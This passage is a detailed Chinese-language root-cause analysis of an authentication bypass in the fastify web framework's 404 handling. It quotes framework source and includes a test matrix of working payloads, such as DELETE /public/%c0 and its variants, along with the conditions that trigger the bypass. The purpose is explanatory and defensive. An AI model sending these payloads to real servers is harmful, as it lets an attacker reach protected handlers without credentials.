第 4 帧,callHandler 分流。callHandler(index.js:560)发现 handle === null,转 _defaultRoute(req, res)(:561→:720)。_defaultRoute 调用构造时注入的 defaultRoute,也就是 fastify 的 defaultRoute(fastify.js:634)。

第 5 帧,defaultRoute 移交。defaultRoute 摘掉 accept-version 头,避免 404 路由器做无谓的版本约束检查,然后 fourOhFour.router.lookup(req, res)(fastify.js:642)。原始的 req/res 原样移交,URL 字符串依然原封不动。判定"这个 404 该归谁"的职责,正式移交给 404 路由器。

第 6 帧,404 路由器 lookup。与第 2 帧同一份代码,不同实例。这次 trees['DELETE'] 存在,因为 3.4 节的 router.all(注册于 /private/*、/public/*、/*)在每个方法树里都建了节点,find(DELETE, '/public/%c0') 继续往下走。

第 7 帧,解码先于匹配。find 在树匹配之前有一段预处理(index.js:571-593):整 URL 替换、去重复斜杠,然后:

try {
  sanitizedUrl = safeDecodeURI(path, this.useSemicolonDelimiter)   // :587
  path = sanitizedUrl.path
  /* ... */
} catch (error) {
  return this._onBadUrl(path)                                      // :592  ★ 前缀匹配从未发生
}

safeDecodeURI('/public/%c0') 对 %c0 调 decodeURI,%c0 是非法的 UTF-8 引导字节,抛 URIError,catch 分支返回 this._onBadUrl(path)。此刻 404 路由器知道的信息只有三样:方法是 DELETE,原始路径是 /public/%c0,这路径解不开。它还没在树上走出第一步,/public 前缀尚未被识别,更没有被用来选择 context。前缀信息不是被"绕过"的,是在解码这一步就被丢弃了。safeDecodeURI 为什么这样设计、%c0 为什么必然抛异常,3.8 节专门分析。

第 8 帧,_onBadUrl 包装。_onBadUrl(index.js:731)把事件回调包装成一个"伪 handle"返回:

Router.prototype._onBadUrl = function (path) {
  if (this.onBadUrl === null) return null
  const onBadUrl = this.onBadUrl
  return {
    handler: (req, res, ctx) => onBadUrl(path, req, res),   // :737
    params: {}, store: null
  }
}

伪 handle 的 store 字段是 null,不携带任何 context。正常匹配返回的 handle 会带着 store(即 fastify 的 context,里面有钩子、有处理器);畸形路径的伪 handle 只有一个对 onBadUrl(path, req, res) 的调用。从这一帧起,"带着 context 走生命周期"的结构性可能已经被排除:能被调用的只有那个闭包,参数表里连 context 的位置都没有。find-my-way 的接口设计在此处已经限定:onBadUrl 的处理者要么自己写响应,要么用 (path, req, res) 重建一切。fastify 5.12.1 的闭包选择了后者,而且重建得很不完整。

第 9 帧,callHandler 触发闭包。callHandler(index.js:563)调用伪 handle 的 handler(req, res),进入 5.12.1 的 onRouteEvent。this 的身份,3.5 节已经分析清楚:根实例,永久。

第 10 帧,onRouteEvent,用空 context 重建请求。漏洞闭包全文(lib/four-oh-four.js:65-75):

function createRouteEventHandler () {
  return function onRouteEvent (path, req, res) {
    const fourOhFourContext = this[kFourOhFourLevelInstance][kFourOhFourContext]  // :67
    const id = getGenReqId(fourOhFourContext.server, req)
    const childLogger = createChildLogger(fourOhFourContext, logger, req, id)
    const request = new Request(id, null, req, null, childLogger, fourOhFourContext)  // :70
    const reply = new Reply(res, request, childLogger)                                 // :71

    _routeEventHandler(request, reply)   // :73  ★ SINK
  }
}

逐行读。:67 用 this(根实例)解析 404 context,由 3.5 节的 bind 语义,这永远是根实例的 404 context;本次走查的复现应用里,它就是 basic404 的空 context,一个 preHandler 等钩子字段全为 null 的空壳(lib/context.js:24-52,构造时 this.preHandler = null 等;根级另注册全局处理器时,解析到的则是那个处理器的 context,直调照样越过其钩子,见 3.12.x)。:68-69 生成请求 ID 与子日志器。:70-71 用这个空 context 包装原始 req/res,造出框架的 Request/Reply 对象。正常路径的 Request 用的是匹配前缀的 context,里面装着认证钩子;这里的 Request 挂着的,是根实例的空 context。这两行还解释了引子里那条单行日志的来历:子日志器来自根 context,所以处理器里的 request.log.warn 能打出来;而"incoming request"日志由 kLogController.incomingRequest 发出,请求分发路径上只有正常路径的 routeHandler(lib/route.js:523)和 404 兜底的 fourOhFourFallBack(lib/four-oh-four.js:184)会调用它(fastify.js 的 frameworkErrors 等错误分支另有三处调用,均不在本链路上),onRouteEvent 从不调用。攻击请求因此在框架日志中不留下"到达"记录。

还有一个细节:签名里的 path 参数,第 8 帧闭包捕获的那个原始畸形路径,在这个函数体里从头到尾没有被使用。onRouteEvent 拿到了 /public/%c0 这个字符串,却在函数体中从未使用它。畸形路径的前缀信息若要被利用,这是最后一次机会。代码用它做什么了呢?什么都没做。

第 11 帧,Request 构造。Request 包装 req,保留了 request.raw.url = '/public/%c0',复现日志里处理器打印的 raw url 即来源于此。

第 12 帧,Reply 构造。Reply 包装 res,两者都持有第 10 帧的空 context。此刻,请求的"环境"与"处理器"来自两个互不关联的作用域:context 是根实例的,处理器来自 /private 注册写入的共享指针。

第 13 帧,SINK,直接调用共享指针。_routeEventHandler(request, reply)(:73)。共享变量里的函数由注册顺序决定,是 privateHandler.bind(/private 实例)。调用发生,没有任何钩子运行器介入——没有 onRequest,没有 preValidation,没有 preHandler。攻击者控制的原始请求,带着一个空 context,直接进入受保护处理器的函数体。

第 14 帧,处理器执行。复现应用的 privateHandler(reproduce/app/server.js:45-49)做三件事:计数器 privateHandlerCalls++,打 warn 日志,reply.send('private canary')。认证钩子,那段本应在此之前运行、检查 Authorization 头、无凭证时改写 401 的代码,留在 privateContext.preHandler 数组里,从未被调用。

第 15 帧,响应返回。Reply 走 onSend 阶段(空 context,无钩子),序列化,200 OK,private canary 写回 socket。攻击者拿到受保护数据。

十五帧走完,把全程串成一条完整调用链,两处触发条件的落点已标注:

两个触发条件分别落在第 3 帧与第 7 帧:①主路由器无该方法的路由树(否则主路由器先解码、先触发自家的 400 守卫);②路径解码失败(否则 404 路由器按前缀正常匹配,走 routeHandler 完整生命周期)。二者缺一,攻击链在第 3 帧或第 7 帧就断掉。

3.7 find-my-way 内部实现:方法树、radix 与解码时机

第 3 帧与第 7 帧为什么各自那样行动,根子在 find-my-way 的两个内部设计里:按方法分树,解码先于匹配。攻击条件由这两个设计划定;换一种畸形 URL、换一个位置,行为为什么随之不同,答案也在它们身上。

find 的第一步是取 this.trees[method]。一个数组取值,背后是 find-my-way 的存储模型:每个方法一棵独立的 radix 树(压缩前缀树),_on 时按方法挂节点。radix 树把公共前缀压进节点边,查找复杂度只随路径长度线性增长,这是它比逐条正则匹配快的地方。分树还带来一种方法维度的不对称:同一个应用,GET 树规模庞大、DELETE 树完全不存在,是常态。fastify 在主路由器上层的分流规则是"匹配失败→defaultRoute",而"树不存在"与"树存在但路径不匹配",在 find 里返回的都是 null,都走 defaultRoute。两种失败,框架替攻击者合并了。他不需要自己区分。

lookup 本体(index.js:532-558)的同步分支只有三行:派生约束、find、callHandler。变数出在 find 的返回值上。一旦走进 _onBadUrl 或 _onMaxParamLength 分支,返回的就不再是 null,而是一个伪 handle,callHandler 于是去调"事件处理器",而不是 defaultRoute。在 find-my-way 的语义里,onBadUrl 事件是一种匹配成功——它确实找到了"该处理这条路径的东西",只不过这个东西不是路由。设计本意是给宿主框架一个接管畸形 URL 的机会;代价是,宿主装进 onBadUrl 的函数由此获得与路由处理器同级的调用地位,却不需要携带任何 store/context。

解码的时机也定在这个函数里:树匹配之前。find 的预处理序列(index.js:571-603):

解码发生在一切匹配语义之前,大小写归一化在它之后,树遍历更在其后。这个顺序不是失误。路由注册时,/hello/%2Fworld 与 /hello/:id 这类模式要在同一个形态空间里比较,统一先解码,是让注册路径与请求路径可比的最省事办法。副作用是把"路径合法性"提到了"路径身份"前面:一条路径尚未被识别归属,就先要通过可解码性检查。检查失败的路径,身份信息——前缀——随即作废。第 7 帧的丢弃就是这么来的。

主路由器对同一个事件的处理方式,可以放在一起看。同一个 onBadUrl,主路由器上装的是 fastify 的默认守卫(fastify.js:645-667,经 processOptions→buildRouterOptions 注入):

// fastify.js:645(主路由器的 onBadUrl,节选)
function onBadUrl (path, req, res) {
  if (options.frameworkErrors) {
    /* 构造 request/reply,交给用户注册的 frameworkErrors 钩子 */
    return options.frameworkErrors(new FST_ERR_BAD_URL(path), request, reply)
  }
  const body = JSON.stringify({
    error: 'Bad Request', code: 'FST_ERR_BAD_URL',
    message: `'${path}' is not a valid url component`, statusCode: 400
  })
  res.writeHead(400, { 'Content-Type': 'application/json', /* ... */ })
  res.end(body)
}

同一个框架,同一个事件,同一个函数签名,两边却走出不同的行为。主路由器拿到 (path, req, res) 后只做一件事:写 400 响应,不调用任何应用处理器。404 路由器拿到同样的三参数,重建 Request/Reply,直呼共享处理器指针。两个实现并排放在那里,差异只有一句话:畸形 URL 是否被视为"可以继续分发"的请求。主路由器的答案是"不,它是客户端错误,拒绝";404 路由器的答案是"是,继续找处理器"。修复(3.13 节)本质上就是让第二个答案与第一个一致。

共享指针还挂在第二个事件上。four-oh-four.js:38 给超长参数事件也装了一个 createRouteEventHandler() 闭包。find-my-way 在参数节点匹配时检查参数长度,超过 maxParamLength(默认 100,index.js:98)就置 maxParamLengthExceeded,最终触发 _onMaxParamLength(index.js:631-633)。那么,超长路径能否触发同样的越权?不能。原因在 find 的树遍历循环里:通配符(wildcard)分支对参数不做长度检查(index.js:651-660,params.push(param) 直接入列),长度检查只存在于参数节点分支(:683、:698-702)。而 404 路由器里注册的,只有前缀本身的静态路由与通配路由(:168-169 两条,如 /private 与 /private/*,* 生成 wildcard 节点),不存在参数节点。超长参数在 404 路由器里永远不会触发 onMaxParamLength,那行闭包在 5.12.1 的 404 路由器上是不可达代码。实测验证:DELETE /public/ 加 300 个 a,得到的是 404 public not found,public 处理器经完整生命周期正常执行,不是 canary。

同一个共享指针,挂在两个事件上,真正可达的入口只有解码失败一个。攻击面比"代码存在"看起来要窄。这也是触发条件要一条一条划清的原因。

3.8 safeDecodeURI:十二种保留编码的白名单

第 7 帧抛出的 URIError 出自 lib/url-sanitizer.js。整个文件 105 行,是整个漏洞的触发点;哪些编码变体能够触发,答案也写在这 105 行里。

JS 有两个解码函数。decodeURIComponent 解码一切百分号编码;decodeURI 保留 URI 保留字符的编码,# $ & + , / : ; = ? @ 及其编码形式不解码。路由处理路径必须用 decodeURI 语义——%2F(编码的 /)若被解成真 /,路径分段就变了,/public/%2Fadmin 会变成 /public//admin,路由匹配语义被破坏。decodeURI 还有另一个特性:遇到非法编码序列,坏十六进制也好,非法 UTF-8 字节序列也好,抛 URIError;遇不到,则正常解码。fastify 需要的是"安全地按 decodeURI 语义解码,并且知道哪些参数解码后还要二次处理"。这就是 safeDecodeURI 的职责。

第一层在 :5-35,是 decodeComponentChar 的白名单:

// It must spot all the chars where decodeURIComponent(x) !== decodeURI(x)
// The chars are: # $ & + , / : ; = ? @
function decodeComponentChar (highCharCode, lowCharCode) {
  if (highCharCode === 50) {            // '2'
    if (lowCharCode === 53) return '%'   // %25 → %
    if (lowCharCode === 51) return '#'   // %23 → #
    /* %24 %26 %2B %2C %2F ... 同表 */
    return null
  }
  if (highCharCode === 51) { /* %3A %3B %3D %3F */ }
  if (highCharCode === 52 && lowCharCode === 48) return '@'  // %40
  return null
}

这个函数手写了 12 种"保留字符编码"的码点判断:%23 %24 %25 %26 %2B %2C %2F %3A %3B %3D %3F %40(低位是十六进制字母的 7 种同时接受大写与小写拼写,合计 19 种形态)。输入一个 %XY 序列,要么命中表返回对应字符,要么返回 null。它只识别这 12 种保留字符编码:命中的放行并标记,未命中的统一标记"待解码"。

第二层在 :46-82,是 safeDecodeURI 的扫描:

function safeDecodeURI (path, useSemicolonDelimiter) {
  let shouldDecode = false        // 路径里有需要 decodeURI 的序列
  let shouldDecodeParam = false   // 参数里有保留字符编码(稍后按段二次处理)

  for (let i = 1; i < path.length; i++) {
    const charCode = path.charCodeAt(i)
    if (charCode === 37) {                                   // '%'
      const highCharCode = path.charCodeAt(i + 1)
      const lowCharCode = path.charCodeAt(i + 2)
      if (decodeComponentChar(highCharCode, lowCharCode) === null) {
        shouldDecode = true                                  // :60  ← 不在白名单 → 要过 decodeURI
      } else {
        shouldDecodeParam = true                             // 在白名单 → 标记参数特殊处理
        if (highCharCode === 50 && lowCharCode === 53) {     // %25:编码的 '%'
          shouldDecode = true
          path = path.slice(0, i + 1) + '25' + path.slice(i + 1)  // :66  ← 双重编码防护
          i += 2
        }
        i += 2
      }
    } else if (charCode === 63 || charCode === 35 || /* ';' && useSemicolonDelimiter */) {
      querystring = path.slice(i + 1)                        // :75  ← ?/#/; 切出查询串
      path = path.slice(0, i)
      break
    }
  }
  const decodedPath = shouldDecode ? decodeURI(path) : path  // :80  ★ 唯一可能抛异常的一行
  return { path: decodedPath, querystring, shouldDecodeParam }
}

逐个状态捋一遍,分支不同,后果也不同。遇到 %,先看后两个字符。命中白名单的(如 %2F),标记 shouldDecodeParam,跳过三个字符继续扫;路径里留着 %2F 原样,后续树匹配用原形态,参数提取时再按段解码。未命中的(如 %c0、%41、%zz),置 shouldDecode = true——这里有不在白名单内的编码,交给 decodeURI 判定。

%25(编码的百分号)虽在白名单上,却走特殊分支:在原文里再插一层 25,变成 %2525 之类,防止后续 decodeURI 把它解成 % 之后又被误当编码标记二次解码。这是双重编码防护。遇到 ? 或 #(以及可选的 ;),从这里切开,后面是查询串,不再扫描。畸形编码若出现在问号之后,根本不会被扫描到:/public/existing?x=%c0 的 %c0 在查询串里,路径部分 /public/existing 干净,不会触发 onBadUrl(实测见 3.12 表 C 第 22 行)。

循环结束,若 shouldDecode 为真,执行 decodeURI(path)。全函数唯一可能抛异常的一行,就这一行。

这套判定逻辑至此清楚。safeDecodeURI 自己从不判断"合法/非法",它只分类:"白名单内的编码"与"白名单外的编码",后者统统交给 decodeURI。decodeURI 的判定标准是 ECMAScript 的百分号解码规范:两个十六进制字符必须合法,且解码出的字节序列必须构成合法的 UTF-8。攻击载荷的合法域由此被精确划出:

  • %c0:0xC0 是合法十六进制,但作为 UTF-8 引导字节非法(overlong 编码的开头,规范明确拒绝)→ URIError ✓
  • %c0%af:overlong 编码的 /(0xC0 0xAF),UTF-8 规范拒绝 → URIError ✓
  • %e0%80:三字节序列缺一节 → URIError ✓
  • %zz:z 不是十六进制字符 → URIError ✓
  • %c(截断):charCodeAt(i+2) 得 NaN,白名单不收,decodeURI('/public/%c') 抛 URIError ✓
  • 孤立 %(结尾):同理 ✓
  • %41(合法,解出 A)、%2e(合法,解出 .)、%2F(白名单保留)→ 不抛,路径继续走树匹配 ✗

以上各条,除 %2F(白名单保留,源码直读可判,表 A 未单列)外,每一条都在复现环境实测过,结果与推导完全一致(3.12 节的矩阵表 A)。攻击者可选的载荷形态因此非常宽:任何"非保留字符的编码"只要解不出合法 UTF-8 都行,大小写十六进制均可,截断的 % 也行。反过来,防御方想用黑名单拦 %c0,是拦不住变体的,%e0%80、%zz、%c 都能换着来。这直接支持了"畸形编码应在代理层按语法拒绝,而非按特征黑名单"的缓解结论(第 6 部分)。

还有一个细节常被问到:解码失败为什么不发生在更早的 Node.js 层。Node 的 HTTP 服务器把请求行里的 request-target(HTTP 报文语法概念,定义于 RFC 9112,旧为 RFC 7230)原样接收字节;%c0 在 RFC 3986 的 URI 语法层面是合法的,百分号编码的三字符形态合法,语义合法性是应用层的事。HTTP 解析器认它,路由器解不开它。这个"两层认知差",是整个漏洞的第一个环节。

3.9 生命周期:被短路的认证流水线

fastify 的安全模型建立在一条固定的请求流水线上。正常路径下,请求一旦匹配到路由,或按前缀匹配到 404 处理器,就交由 routeHandler(lib/route.js:458)接管:它用匹配前缀的 context 构造 Request/Reply,打 incoming request 日志,然后启动钩子链:

钩子的执行者是各类 hook runner,preHandlerHookRunner 是其中之一。它们按序调用 context 上装配好的钩子数组,任何一个钩子都有权改写响应、终止链条。认证应当发生在这里:复现应用的 Bearer 校验就注册在 privateContext 的 preHandler 上,preReady 时由 _setNotFoundHandler 的装配代码写进 context(3.4 节第四段)。只要这条流水线运行,无凭证请求在第 5 阶段就被改写成 401。

攻击路径在这张图上的位置很特别。它不进入 routeHandler,从 onRouteEvent 直接到 _routeEventHandler(request, reply),相当于绕过流水线、直接落在第 6 阶段的函数调用上。直接调用携带的 context 也是错的:Request 挂的 context 是根实例的空壳(3.6 节第 10 帧),在复现应用里就是 basic404 的 context,onRequest、preHandler 全是 null。根级另注册全局处理器时,解析到的 context 里装着它的钩子,但直调路径同样不执行它们(3.12.x)。就算有人在 onRouteEvent 里补一句"跑一下钩子",跑的也是空 context 的钩子,处理器所属作用域的 context 根本不会被用到。

全局 onRequest 认证钩子为什么拦不住?官方通告那句容易被轻视的警告说的也是它。许多框架使用者的直觉是"我把认证放在最外层的 onRequest,任何请求都得先经过这个钩子"。直觉的前提,是任何请求都会走生命周期。fastify 的实现里,addHook('onRequest', auth) 做的事只是把 auth 函数追加进各实例 kHooks.onRequest,preReady 时装配进各 context 的 onRequest 字段。钩子始终保存在 context 里,由 runner 在生命周期内执行;而攻击路径的语义,是不启动生命周期。钩子仍完好地保存在 context 里,只是没有任何代码去执行它们。检查逻辑都在,只是这条路径不经过任何一个执行点。

fastify 的安全机制建立在流水线上,漏洞是一条绕过流水线的直调路径。这句话也给出了修复的评判标准:任何不拆除"绕过"本身的修法,比如给共享指针换个指向,都只是改变这条路径的指向。真正的问题不是指针指向谁,而是"指针直调"这个动作本身。

3.10 对照路径:一次正常请求的完整处理过程

正常路径要完整走一遍,与攻击路径逐帧对照。对照请求选 DELETE /private/missing(无凭证):同样没有匹配路由,同样落到 404 路由器,唯一的区别是路径可以正常解码。

第 1-6 帧与攻击路径完全相同:进入框架,主路由器无 DELETE 树返回 null,defaultRoute 移交,404 路由器 lookup。分岔在第 7 帧:

这一帧上,真 handle 与 3.6 节第 8 帧的伪 handle 有一处本质区别:store 字段装着 privateContext。find-my-way 的正常接口永远把匹配结果连同 context 一起交给宿主,context 跟着路由走——这是封装体系在路由层的正确实现。

第 9 帧之后,routeHandler 接管。同一个位置上,攻击路径进入的是第 10 帧的 onRouteEvent,正常路径直接进入生命周期:

routeHandler(req, res, params, privateContext, query)
  ├─ new Request(id, params, req, query, childLogger, privateContext)   :520
  ├─ new Reply(res, request, childLogger)                               :521
  ├─ incomingRequest 日志                                               :523   ← 日志四行的第 1 行
  ├─ onRequest 为 null → runPreParsing                                  :561-570
  ├─ 无 Content-Type 且空请求体 → handler(request, reply)                    handle-request.js:69
  ├─ preValidation 为 null → preValidationCallback
  ├─ 无 schema → validationCompleted                                    :139
  ├─ privateContext.preHandler 非空 → preHandlerHookRunner([认证钩子])   :150-156  ★ 认证执行点
  │     └─ Authorization ≠ 'Bearer valid' → reply.code(401).send('unauthorized')
  └─ (凭证合法时)context.handler(request, reply)                       :203

复现记录里 req-2(无凭证)的日志:

{"level":30,"reqId":"req-2",...,"msg":"incoming request"}
{"level":30,"reqId":"req-2","msg":"private preHandler invoked (auth header absent)"}
{"level":30,"reqId":"req-2","res":{"statusCode":401},"msg":"request completed"}

认证钩子执行,401 返回。日志里唯独没有处理器那一行,因为认证抢在处理器之前改写了响应;带凭证时才是完整四行(见引子 req-3)。两条路径放到同一张表上:

帧

正常路径 DELETE /private/missing

攻击路径 DELETE /public/%c0

404 路由器解码

成功

URIError

树匹配

命中 /private/*,返回真 handle + privateContext

不发生;伪 handle,store=null

进入生命周期

routeHandler,Request 挂 privateContext

onRouteEvent,Request 挂根空 context

incoming request 日志

有

无

preHandler 认证

执行(401/放行)

跳过

处理器选择

store 里的 handler(作用域决定)

共享指针(注册顺序决定)

最终响应

401(无凭证)/ 200(有凭证)

200 canary(无凭证)

两条路径到达的是同一个处理器函数。区别只在于:一个带着"必须先过认证"的 context 与钩子链,另一个不携带任何 context 与钩子。fastify 为前者设计了完整的执行流程,后者得到的只是一次不经任何检查的函数调用。

还有一组对照要单独说。修复版本上,正常路径的行为完全不变:DELETE /private/missing 依然 401/200,认证钩子照常执行;改变的只有畸形 URL 得到的响应。5.12.1 上,被直调的处理器返回什么就是什么,404 或 200,取决于处理器;5.12.2 上一律 400。评估"修复是否伤及正常功能"时,这是关键证据,复现记录(第 5 部分)里 patch 实例的 [1][2] 两步对照请求验证了这一点。

3.11 数据流追踪:一个字符串与一个函数对象的完整流转

逐帧走查与对照都完成了,证据还可以再换一个视角收拢:跟踪两个关键数据对象的完整流转——攻击载荷字符串 /public/%c0,与被越权调用的函数对象 privateHandler。数据视角能看到控制流视角看不到的东西:谁被改写了,谁被复制了几份,每份副本携带什么状态。

先看字符串 /public/%c0 的完整流转。

它由攻击者构造:前缀 /public 让请求进入 public 前缀的正常流量形态,%c0 负责触发解码失败,两部分各司其职。发送侧只有一处已知改写:curl 把十六进制位归一成大写,实际发出的是 /public/%C0,畸形性不变(口径见 2.2 节)。本节的追踪以实际发送的 %C0 为准。

在 HTTP 报文里,它占据 request-target 的位置。按 RFC 3986 的语法,%c0 是形态合法的百分号编码:百分号加两个十六进制字符。语法合法性属于 URI 语法层,语义合法性(解出来是不是合法 UTF-8)属于应用层——这是它通过第一层检查的依据。Node.js 的 llhttp 解析器放行,req.url 拿到完整的实际形态(/public/%C0),从这之后一个字节没动。

进入主路由器后,它第一次未被处理:find('DELETE', path) 在 trees['DELETE'] === undefined 处直接返回,path 参数连一个字符都没被读过。defaultRoute 把它原样转交 404 路由器。到这里为止,它的处理方式和任何普通 URL 没有区别。

404 路由器的 find,是它第一次被逐字符扫描的地方。协议前缀正则 FULL_PATH_REGEXP 扫一眼,不是绝对 URL,不剥离;ignoreDuplicateSlashes 未开启,不做替换。然后 safeDecodeURI 的扫描循环从下标 1 开始逐字符前进,/public/ 的每个字符都无事发生,直到遇到 %(字符码 37),取后两个字符 c0 查白名单:decodeComponentChar 三个 if 都不命中,返回 null,shouldDecode 置真,循环继续扫完剩余字符。扫描全程没有改写它。safeDecodeURI 扫描中会改写 path 的分支只有两处:遇到 ?/#(及可选的 ;)时切下查询串、遇到 %25 时插层,均与本串无关。随后 decodeURI(path) 抛出 URIError,catch 分支里 return this._onBadUrl(path),传出去的是 path 变量——扫描后的原串。

_onBadUrl 把它捕获进闭包,随伪 handle 送进 onRouteEvent(path, req, res) 的第一个参数。3.6 节第 10 帧已经指出,这个参数从此未被使用。它最后一次可见是在处理器内部:request.raw.url 仍然持有它,整条链路没有任何环节改写 req.url。复现日志里那行 !!! private canary handler invoked (raw url: /public/%C0),是它留下的最后一条日志记录。

整个流转过程中,这个字符串没有被改写任何字节。它在每个环节的遭遇,都是"被读取"或"被忽略",没有任何环节试图修整它。它的畸形不是障碍,恰恰是触发条件:畸形触发了解码失败事件,该事件的处理路径调用了共享指针。修复后(5.12.2),同样的字符串会在 find 的 catch 处直接换来一个 400 响应,响应体里 fastify 的守卫还会把收到的路径原样回显:'/public/%C0' is not a valid url component(大写是 curl 归一的痕迹;换成原始 socket 以 %c0 直发,守卫回显的也是 %c0——它回显的始终是收到的那串)。拒绝,且回显被拒路径。

再看函数对象 privateHandler 的注册与引用。

它定义在应用源码里(reproduce/app/server.js:45),一个普通的 function (request, reply) { ... } 函数。注册时刻,setNotFoundHandler 内部对它做了三份处置,此后的行为由这三份处置决定。第一份在 :125,handler = handler.bind(this),它被绑定到 /private 插件实例,成为绑定实例的函数 B;从此无论谁调用它,内部的 this 都是 private 实例。第二份在 :127,_routeEventHandler = handler,B 被赋值给共享变量。这份赋值不携带任何状态:没有 context,没有钩子,没有前缀,只有裸的函数引用。第三份在 :141 与 :168。new Context({ handler: B, ... }) 构造 privateContext,preReady 时认证钩子装配进 privateContext.preHandler;router.all('/private/*', routeHandler, privateContext) 把 context 挂到路由 store。这一份携带完整 context:处理器与它的钩子、序列化器、错误处理器封装在一起。

稳态下,同一个函数对象 B 从三个位置可达:共享变量(无 context)、privateContext.handler(有 context)、路由树 store(经 routeHandler 使用 context)。三条引用,只有两条携带 context,而攻击路径用的恰好是不携带 context 的那条。攻击时刻,共享变量里的 B 被调用,this 正确(private 实例,bind 的效果),参数正确(攻击请求的 request/reply),唯独 context 缺席:认证钩子此刻就保存在 privateContext.preHandler 数组里,与被调用的函数对象之间只隔着一个永不被读取的引用。

正常路径调用的是 store 那条引用。routeHandler 取出 privateContext,启动钩子链,认证执行,B 在第 6 阶段被调用——同一个函数对象,携带 context 被调用。修复后,共享变量被删除,B 只剩两条携带 context 的引用,封装体系恢复闭合:每一个能到达 B 的调用路径,都必须经过它的 context。

一个函数对象的三份引用、两份 context 记录,缺失 context 的那条引用正好被一条不经过 context 的路径使用——这大概是对本漏洞最简短的概括。

3.12 触发条件边界枚举:25 项实验

25 项边界实验全部在 2.2 节的 Docker 环境里实测(vulnerable = 5.12.1 @ 127.0.0.1:3000,patched = 5.12.2 @ 127.0.0.1:3001,均无 Authorization 头;--path-as-is 发送),要做的只有一件事:把 3.6-3.8 节写下的每一条推导,放到真实实现面前再验一遍。

表 A:编码变体(方法 DELETE,路径 /public/…,vulnerable 实例):

#

载荷

结果

机理归属

1

%c0

200 private canary

非法 UTF-8 引导字节,decodeURI 抛

2

%C0

200 private canary

大写十六进制,同样非法

3

%zz

200 private canary

非十六进制字符

4

%c

200 private canary

截断编码,charCodeAt 得 NaN

5

%(结尾)

200 private canary

孤立百分号

6

%c0%af

200 private canary

overlong UTF-8 编码的 /

7

%e0%80

200 private canary

不完整三字节序列

8

%41(= A)

404 public not found

合法编码,正常走完 public 生命周期

9

%2e(= .)

404 public not found

合法编码,同上

10

/public/existing%c0

200 private canary

畸形在尾部即可,前缀合法不影响

前 7 行划定了载荷域的宽度,3.8 节的推导全部得到验证:判据只有一条,decodeURI 是否抛异常,与具体是哪个字符无关。第 8、9 行是负对照,合法编码的请求完整走完 public 前缀的正常生命周期——漏洞并不是"任何编码都触发"。第 10 行多给了一条信息:前缀部分 /public/existing 完全合法也无妨,只要路径的任何一个位置存在一处解不开的编码,整个路径就作废,前缀身份随之丢失。

表 B:方法变体(路径 /public/%c0,vulnerable 实例):

#

方法

结果

机理

11

GET

400 FST_ERR_BAD_URL

主路由器有 GET 树,自家守卫拦截

12

HEAD

400 FST_ERR_BAD_URL

GET 自动暴露 HEAD,同上

13

OPTIONS

200 private canary

主路由器无 OPTIONS 树

14

PUT / PATCH / TRACE / PROPFIND / MKCOL

200 private canary(各一次)

同上,标准方法全无树

15

FROBNICATE(自定义)

400 {"message":"Client Error"}

Node HTTP 解析层拒绝未知方法,响应体为 fastify clientError 默认输出(fastify.js:985),请求根本没进路由器

攻击方法学在表 B 里凑齐了。可用方法 = Node 解析器认识的标准方法 ∖ 主路由器已注册的方法。典型 REST 应用只注册业务用到的方法,DELETE、OPTIONS、PATCH 这类"顺手"的方法于是几乎总是可用,攻击者根本不需要动用怪方法。防御一侧也有一个直接有效的观察:在反向代理上对未使用的方法直接拒绝,很多网关默认就这么配,触发条件①会被整个关掉——但这是缓解,不是修复。白名单一旦随业务演进而放宽,而应用并未为放宽的方法注册主路由器路由,例如为 CORS 全局放开 OPTIONS,条件①就重新打开。

表 C:前缀与位置变体(方法 DELETE,vulnerable 实例):

#

载荷

结果

机理

16

/private/%c0

200 private canary

前缀毫无作用,直呼共享指针

17

/%c0(根)

200 private canary

同上

18

/totally-unknown/%c0

200 private canary

从未注册过的前缀同样触发

19

/PUBLIC/%c0

200 private canary

大小写在树匹配前已被丢弃

20

/public/%c0?q=1

200 private canary

畸形编码在 ? 之前,先被扫描到

21

/%c0?q=1

200 private canary

同上

22

/public/existing?x=%c0

404 public not found(经正常生命周期)

畸形在查询串里,safeDecodeURI 扫不到

第 18 行要停下来看一眼:一个应用里根本不存在的前缀,拿到了 private canary。前缀在这里不再承担任何身份职能,只是路径字符串中不参与任何判定的一段内容。第 22 行是精细的负对照。同一个 %c0,挪到问号之后,查询串不参与路径解码,请求反而规规矩矩走了正常 404 流程。畸形编码的位置必须落在路径段内——这是触发条件②的精确表述。

表 D:结构变体:

#

实验

结果

机理

23

DELETE /public/+300 个 a

404 public not found(public 处理器正常执行)

404 路由器只有静态与 wildcard 节点,无参数长度检查(3.7 节),onMaxParamLength 闭包不可达

24

注册顺序互换(/private 先、/public 后,同一份应用)

DELETE /public/%c0、/private/%c0、/%c0 全部 404 public not found,canary 零泄露

共享指针指向最后注册者(public);被越权调用的是 public 处理器,泄露不复存在

25

同一载荷 × patched 实例(5.12.2)

全部 400 FST_ERR_BAD_URL,长参数 404 正常

fail-closed 修复,任何 404 处理器均不被调用

第 24 行要单独展开。把两个插件的注册顺序对调,其余代码一字不改,攻击结果就从泄露 canary 变成调用了 public 的处理器、返回 public not found。漏洞的本质由此看清:不是 private 处理器会被调用,而是某个处理器会被错误的请求、以错误的身份调用。换句话说,谁最后注册,被跳过钩子的就是谁。实际受害场景多为"受保护前缀后注册"的应用,原因也在这里:业务代码里先搭 public 区域、后搭 private 区域,是最自然的编写顺序。

25 项实验做完,把结果收拢成一张触发条件判定表:

条件

判据

不满足时的结果

① 方法无树

攻击方法不在主路由器已注册方法集合内

主路由器 400(自家守卫)

② 路径解码失败

路径段内存在 decodeURI 抛异常的序列

404 路由器按前缀正常匹配,完整生命周期

③ 存在自定义 404 处理器

受保护者是最后注册的那个(只注册一个时自动满足,见 3.12.x 补充实验)

被调用的是别的处理器,或 basic404

④ 认证在钩子里

受保护数据由 404 处理器返回,认证依赖 preHandler 等生命周期

即使被越权调用,泄露面有限

四个条件在代码里的落点,分别是 3.6 节第 3 帧、第 7 帧、3.4 节第三段、3.9 节。①②由攻击者控制,③④由应用架构决定。CVSS 的 AC:L 与"实际命中面"之间的偏差也源于此:评分度量攻击的难度,不度量③④在真实代码库中的出现率。

3.12.x 补充实验:仅全局 setNotFoundHandler 场景

